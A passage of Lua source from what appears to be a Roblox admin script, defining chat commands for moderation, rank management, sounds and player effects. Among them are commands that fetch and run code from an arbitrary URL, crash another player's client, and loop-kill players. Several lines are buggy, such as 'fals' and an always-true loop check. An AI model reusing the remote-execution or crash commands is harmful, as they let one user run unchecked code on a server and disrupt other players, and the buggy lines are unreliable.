5717 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5718 local Players = STRING:Scan(Arguments[1], Speaker)
5719 for _,Player in pairs(Players) do
5720 local PreAdd = {}
5721 for _,Data in pairs(IRC.Chats) do
5722 local Error = nil
5723 if Rank == "Owner" then Error = Data[3] end
5724 table.insert(PreAdd, {Data[1], Data[2], Error})
5725 end
5726 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5727 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5728 if Rank ~= "Owner" then Error = nil end
5729 AddMessage:Invoke(UserName, Message, Error)
5730 end)
5731 SendPressed.Event:connect(function(Text)
5732 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5733 IRC:AddChat(Player.Name, Text)
5734 end)
5735 end
5736 end};
5737
5738 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5739 local Players = STRING:Scan(Arguments[1], Speaker)
5740 for _,Player in pairs(Players) do
5741 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5742 if Type == "Leave" then
5743 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5744 elseif Type == "Join" then
5745 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5746 end
5747 end)
5748 PriChat.Chatted.Event:connect(function(UserName, Message)
5749 AddMessage:Invoke(UserName, Message)
5750 end)
5751 SendPressed.Event:connect(function(Text)
5752 PriChat.Chatted:Fire(Player.Name, Text)
5753 table.insert(PriChat.Chats, {Player.Name, Text})
5754 end)
5755 end
5756 end};
5757
5758 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5759 ExecuteSafe(Arguments[1], Speaker)
5760 end};
5761
5762 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5763 local Script = REMOTE:GetURL(Arguments[1], Player)
5764 if Script then
5765 ExecuteSafe(Script, Speaker)
5766 end
5767 end, Http = true};
5768
5769 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5770 local Time = tick()
5771 local Res = REMOTE:GetURL(Arguments[1], Player)
5772 if Res then
5773 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5774 end
5775 end, Http = true};
5776
5777 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5778 CORE:RemoveAdmin(Speaker)
5779 end};
5780
5781 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5782 for _,Player in pairs(Server.Players:GetPlayers()) do
5783 GUI:SendHint(Player, Arguments[1], nil, Speaker)
5784 end
5785 end};
5786
5787 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5788 local Players = STRING:Scan(Arguments[1], Speaker)
5789 local Debt = nil
5790 for _,Player in pairs(Players) do
5791 if not Debt then
5792 Debt = GUI:ShowDebtStats(Player)
5793 else
5794 GUI:ShowDebtStats(Player, Debt)
5795 end
5796 end
5797 end, Http = true};
5798
5799 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5800 local Players = STRING:Scan(Arguments[1], Speaker)
5801 for _,Player in pairs(Players) do
5802 GUI:CreateHUD(Player)
5803 end
5804 end};
5805
5806 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5807 local Players = STRING:Scan(Arguments[1], Speaker)
5808 for _,Player in pairs(Players) do
5809 if Player:FindFirstChild("PlayerGui") then
5810 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5811 if HUD then HUD:Destroy() end
5812 end
5813 end
5814 end};
5815
5816 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5817 local Players = STRING:Scan(Arguments[1], Speaker)
5818 GUI:Vote(Speaker, Players, Arguments[2], 30)
5819 end};
5820
5821 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5822 local Players = STRING:Scan(Arguments[1], Speaker)
5823 for _,Player in pairs(Players) do
5824 CORE:ExecuteResource("Bomb", Player.Character)
5825 end
5826 end};
5827
5828 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5829 local Players = STRING:Scan(Arguments[1], Speaker)
5830 for _,Player in pairs(Players) do
5831 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5832 CORE:RestoreCamera(Player)
5833 end
5834 end};
5835
5836 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5837 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5838 CORE:RestoreCamera(Speaker)
5839 end};
5840
5841 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5842 local Players1 = STRING:Scan(Arguments[1], Speaker)
5843 local Players2 = STRING:Scan(Arguments[2], Speaker)
5844 for _,Player1 in pairs(Players1) do
5845 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5846 for _,Player2 in pairs(Players2) do
5847 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5848 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5849 end
5850 end
5851 end
5852 end
5853 end};
5854
5855 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5856 local Players = STRING:Scan(Arguments[1], Speaker)
5857 for _,Player in pairs(Players) do
5858 Player:LoadCharacter()
5859 end
5860 end};
5861
5862 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5863 local Players = STRING:Scan(Arguments[1], Speaker)
5864 for _,Player in pairs(Players) do
5865 CORE:RestoreCamera(Player)
5866 end
5867 end};
5868
5869 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5870 local Players = STRING:Scan(Arguments[1], Speaker)
5871 for _,Player in pairs(Players) do
5872 CORE:Jail(Player)
5873 end
5874 end};
5875
5876 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5877 local Players = STRING:Scan(Arguments[1], Speaker)
5878 for _,Player in pairs(Players) do
5879 CORE:UnJail(Player)
5880 end
5881 end};
5882
5883 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5884 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5885 end};
5886
5887 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5888 SOUND:StopSpeaking()
5889 end};
5890
5891 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5892 local Players = STRING:Scan(Arguments[1], Speaker)
5893 local Compile = {}
5894 for Num,Player in pairs(Players) do
5895 local PlayerRank = RANK:GetRank(Player)
5896 local PlayerInfo = ClientInfo[Player.Name]
5897 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5898 table.insert(Compile, "User ID: "..Player.UserId)
5899 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5900 table.insert(Compile, "Rank: "..PlayerRank)
5901
5902 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5903 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5904 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5905 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5906 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5907 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5908 if PlayerInfo.Benchmark then
5909 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5910 end
5911 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5912 end
5913 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5914 end};
5915
5916 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5917 if tonumber(Arguments[2]) then
5918 local Players = STRING:Scan(Arguments[1], Speaker)
5919 for _,Player in pairs(Players) do
5920 coroutine.wrap(function()
5921 if Player.Character then
5922 table.insert(LoopKills, Player.Name)
5923 local Loop = nil
5924 local PrevChar = nil
5925
5926 for i = 1,tonumber(Arguments[2]) do
5927 local Char = Player.Character
5928 if PrevChar and PrevChar ~= Char then
5929 PrevChar:Destroy()
5930 end
5931 PrevChar = Char
5932 local CanDie = true
5933 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5934 if CanDie == false then
5935 break
5936 end
5937 ypcall(function() Char.Parent = Server.Lighting end)
5938 wait(0.1)
5939 ypcall(function() Char.Parent = Server.Workspace end)
5940 wait(0.1)
5941 end
5942 end
5943 end)()
5944 end
5945 else
5946 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5947 end
5948 end};
5949
5950 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5951 local Players = STRING:Scan(Arguments[1], Speaker)
5952 for _,Player in pairs(Players) do
5953 for Num,Name in pairs(LoopKills) do
5954 if Player.Name == Name then
5955 table.remove(LoopKills, Num)
5956 end
5957 end
5958 end
5959 end};
5960
5961 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5962 SOUND:PlayGlobalSound(Arguments[1])
5963 end};
5964
5965 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5966 SOUND:StopGlobalSound()
5967 SOUND:ClearInfo()
5968 end};
5969
5970 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5971 local Pitch = tonumber(Arguments[1])
5972 if not Pitch then Pitch = 1 end
5973 if Sound then
5974 Sound.Pitch = Pitch
5975 end
5976 end};
5977
5978 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5979 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5980 local Items = MARKET:SearchItem(9, Arguments[1])
5981 if Items then
5982 if #Items ~= 0 then
5983 local List,Correlate = {},{}
5984 for Num,Info in pairs(Items) do
5985 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5986 table.insert(List, Display)
5987 Correlate[Display] = Info.AssetId
5988 end
5989 CloseGui:Invoke()
5990
5991 local CanClick = true
5992 if Rank == "Member" then CanClick = false end
5993 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
5994 Clicked.Event:connect(function(ClickName)
5995 local OldSoundId = nil
5996 SOUND:StopGlobalSound()
5997 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
5998 SOUND:PlayGlobalSound(Correlate[ClickName])
5999 end
6000 end)
6001 else
6002 CloseGui:Invoke()
6003 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
6004 end
6005 else
6006 CloseGui:Invoke()
6007 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
6008 end
6009 end, Http = true};
6010
6011 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
6012 local Players = STRING:Scan(Arguments[1], Speaker)
6013 for _,Player in pairs(Players) do
6014 if Player.Character then
6015 CORE:ExecuteResource("Gun", Player.Character)
6016 end
6017 end
6018 end};
6019
6020 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
6021 local Players = STRING:Scan(Arguments[1], Speaker)
6022 for _,Player in pairs(Players) do
6023 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
6024 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
6025 Player.Character.Humanoid.WalkSpeed = 0
6026 Player.Character.Torso.Anchored = true
6027 coroutine.wrap(function()
6028 local OldCFrame = Player.Character.Torso.CFrame
6029 for i = 0,8,0.1 do
6030 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
6031 wait()
6032 end
6033 Player.Character.Torso.Anchored = false
6034 Player.Character:BreakJoints()
6035 CORE:InvisiblePlayer(Player)
6036 end)()
6037 end
6038 end
6039 end};
6040
6041 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
6042 local Players = STRING:Scan(Arguments[1], Speaker)
6043 for _,Player in pairs(Players) do
6044 CORE:AnchorPlayer(Player)
6045 end
6046 end};
6047
6048 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
6049 local Players = STRING:Scan(Arguments[1], Speaker)
6050 for _,Player in pairs(Players) do
6051 CORE:UnanchorPlayer(Player)
6052 end
6053 end};
6054
6055 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
6056 local Players = STRING:Scan(Arguments[1], Speaker)
6057 for _,Player in pairs(Players) do
6058 CORE:InvisiblePlayer(Player)
6059 end
6060 end};
6061
6062 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
6063 local Players = STRING:Scan(Arguments[1], Speaker)
6064 for _,Player in pairs(Players) do
6065 CORE:VisiblePlayer(Player)
6066 end
6067 end};
6068
6069 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
6070 local Players = STRING:Scan(Arguments[1], Speaker)
6071 for _,Player in pairs(Players) do
6072 if Player.Character and Player.Character:FindFirstChild("Torso") then
6073 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
6074 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
6075 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
6076 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
6077 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
6078 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
6079 Fly:Play()
6080 local Touched = false
6081 coroutine.wrap(function()
6082 repeat wait(0.1)
6083 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
6084 until not Ast or Ast.Parent == nil or Touched == true
6085 end)()
6086 Ast.Touched:connect(function(Part)
6087 if Touched == false then
6088 Touched = true
6089 Part:BreakJoints()
6090 local Boom = Instance.new("Explosion", Workspace)
6091 Boom.Position = Ast.Position
6092 Boom.BlastPressure = 1000000
6093 Boom.BlastRadius = 30
6094 Fire.Heat = 0
6095 Smoke.RiseVelocity = 0
6096 Fly:Stop()
6097 BoomSound:Play()
6098 coroutine.wrap(function()
6099 wait(3)
6100 BoomSound:Stop()
6101 if Ast and Ast.Parent ~= nil then
6102 Ast:Destroy()
6103 end
6104 end)()
6105 end
6106 end)
6107 end
6108 end
6109 end};
6110
6111 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
6112 local Success = {}
6113 local Players = STRING:Scan(Arguments[1], Speaker)
6114 for _,Player in pairs(Players) do
6115 local PlayerRank = RANK:GetRank(Player)
6116 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6117 CORE:Kick(Player)
6118 table.insert(Success, Player)
6119 end
6120 end
6121 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
6122 end};
6123
6124 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
6125 local Success = {}
6126 local Players = STRING:Scan(Arguments[1], Speaker)
6127 for _,Player in pairs(Players) do
6128 local PlayerRank = RANK:GetRank(Player)
6129 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6130 RANK:RemoveRank(Player)
6131 table.insert(Settings.Ranks.Banned, Player.Name)
6132 CORE:Kick(Player)
6133 table.insert(Success, Player)
6134 end
6135 end
6136 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6137 end};
6138
6139 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6140 local Success = {}
6141 local Players = STRING:Scan(Arguments[1], Speaker)
6142 for _,Player in pairs(Players) do
6143 local PlayerRank = RANK:GetRank(Player)
6144 if PlayerRank ~= "Owner" then
6145 RANK:RemoveRank(Player)
6146 table.insert(Settings.Ranks.Crashed, Player.Name)
6147 CORE:Crash(Player)
6148 table.insert(Success, Player)
6149 end
6150 end
6151 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6152 end};
6153
6154 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6155 local Success = {}
6156 local Players = STRING:Scan(Arguments[1], Speaker)
6157 for _,Player in pairs(Players) do
6158 local PlayerRank = RANK:GetRank(Player)
6159 if PlayerRank ~= "Owner" then
6160 RANK:RemoveRank(Player)
6161 table.insert(Settings.Ranks.Muted, Player.Name)
6162 GUI:CoreGui(Player, "Chat", false)
6163 table.insert(Success, Player)
6164 end
6165 end
6166 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6167 end};
6168
6169 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6170 local Players = STRING:Scan(Arguments[1], Speaker)
6171 if #Players > 0 then
6172 local Success = {}
6173 for _,Player in pairs(Players) do
6174 local RankName,RankNum = RANK:GetRank(Player)
6175 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6176 if not RANK:IsSupremeOwner(Player) then
6177 if RankName == "Muted" then
6178 GUI:CoreGui(Player, "Chat", true)
6179 end
6180 if RankNum > 0 then
6181 GUI:TellNotAdmin(Player)
6182 end
6183 RANK:RemoveRank(Player)
6184 table.insert(Success, Player)
6185 end
6186 end
6187 end
6188 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6189 else
6190 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6191 if Player then
6192 local RankNum = RANK:ConvertRank(PlayerRank)
6193 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6194 if not RANK:IsSupremeOwner(Player) then
6195 RANK:RemoveRank(Player)
6196 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6197 end
6198 end
6199 end
6200 end
6201 end};
6202
6203 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6204 local Players = STRING:Scan(Arguments[1], Speaker)
6205 if #Players > 0 then
6206 local Success = {}
6207 for _,Player in pairs(Players) do
6208 local PlayerRank,RankNum = RANK:GetRank(Player)
6209 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6210 RANK:RemoveRank(Player)
6211 table.insert(Settings.Ranks.Member, Player.Name)
6212 GUI:TellAdmin(Player)
6213 table.insert(Success, Player)
6214 end
6215 end
6216 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6217 else
6218 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6219 if Player then
6220 local RankNum = RANK:ConvertRank(PlayerRank)
6221 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6222 if not RANK:IsSupremeOwner(Player) then
6223 RANK:RemoveRank(Player)
6224 table.insert(Settings.Ranks.Member, Player)
6225 end
6226 end
6227 else
6228 RANK:RemoveRank(Arguments[1])
6229 table.insert(Settings.Ranks.Member, Arguments[1])
6230 end
6231 end
6232 end};
6233
6234 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6235 local Players = STRING:Scan(Arguments[1], Speaker)
6236 if #Players > 0 then
6237 local Success = {}
6238 for _,Player in pairs(Players) do
6239 local PlayerRank,RankNum = RANK:GetRank(Player)
6240 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6241 RANK:RemoveRank(Player)
6242 table.insert(Settings.Ranks.Admin, Player.Name)
6243 GUI:TellAdmin(Player)
6244 table.insert(Success, Player)
6245 end
6246 end
6247 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6248 else
6249 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6250 if Player then
6251 local RankNum = RANK:ConvertRank(PlayerRank)
6252 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6253 if not RANK:IsSupremeOwner(Player) then
6254 RANK:RemoveRank(Player)
6255 table.insert(Settings.Ranks.Admin, Player)
6256 end
6257 end
6258 else
6259 RANK:RemoveRank(Arguments[1])
6260 table.insert(Settings.Ranks.Admin, Arguments[1])
6261 end
6262 end
6263 end};
6264
6265 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6266 local Players = STRING:Scan(Arguments[1], Speaker)
6267 if RANK:IsSupremeOwner(Speaker) then
6268 if #Players > 0 then
6269 local Success = {}
6270 for _,Player in pairs(Players) do
6271 if not RANK:IsSupremeOwner(Player) then
6272 RANK:RemoveRank(Player)
6273 table.insert(Settings.Ranks.Owner, Player.Name)
6274 GUI:TellAdmin(Player)
6275 table.insert(Success, Player)
6276 end
6277 end
6278 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6279 else
6280 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6281 if Player then
6282 local RankNum = RANK:ConvertRank(PlayerRank)
6283 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6284 if not RANK:IsSupremeOwner(Player) then
6285 RANK:RemoveRank(Player)
6286 table.insert(Settings.Ranks.Owner, Player)
6287 end
6288 end
6289 else
6290 RANK:RemoveRank(Arguments[1])
6291 table.insert(Settings.Ranks.Owner, Arguments[1])
6292 end
6293 end
6294 end
6295 end};
6296
6297 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6298 local TableStorage = {}
6299 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6300 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6301 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6302 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6303 end};
6304
6305 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6306 local TableStorage = {}
6307 for _,Player in pairs(Server.Players:GetChildren()) do
6308 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6309 if ValidAdmin then
6310 if PlayerRank == "Owner" then
6311 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6312 else
6313 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6314 end
6315 end
6316 end
6317 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6318 end};
6319
6320 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6321 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6322 end};
6323
6324 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6325 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6326 end};
6327
6328 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6329 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6330 end};
6331
6332 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6333 local TableStorage = {}
6334 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6335 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6336 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6337 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6338 end};
6339
6340 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6341 local TableStorage = {}
6342 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6343 for Num,PlayerName in pairs(PlayerNames) do
6344 if PlayerRank == "Owner" then
6345 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6346 else
6347 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6348 end
6349 end
6350 end
6351 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6352 end};
6353
6354 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6355 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6356 end};
6357
6358 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6359 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6360 end};
6361
6362 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6363 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6364 end};
6365
6366 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6367 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6368 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6369 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6370 end};
6371
6372 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6373 CommandLogs = {}
6374 end};
6375
6376 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6377 ChatLogs = {}
6378 end};
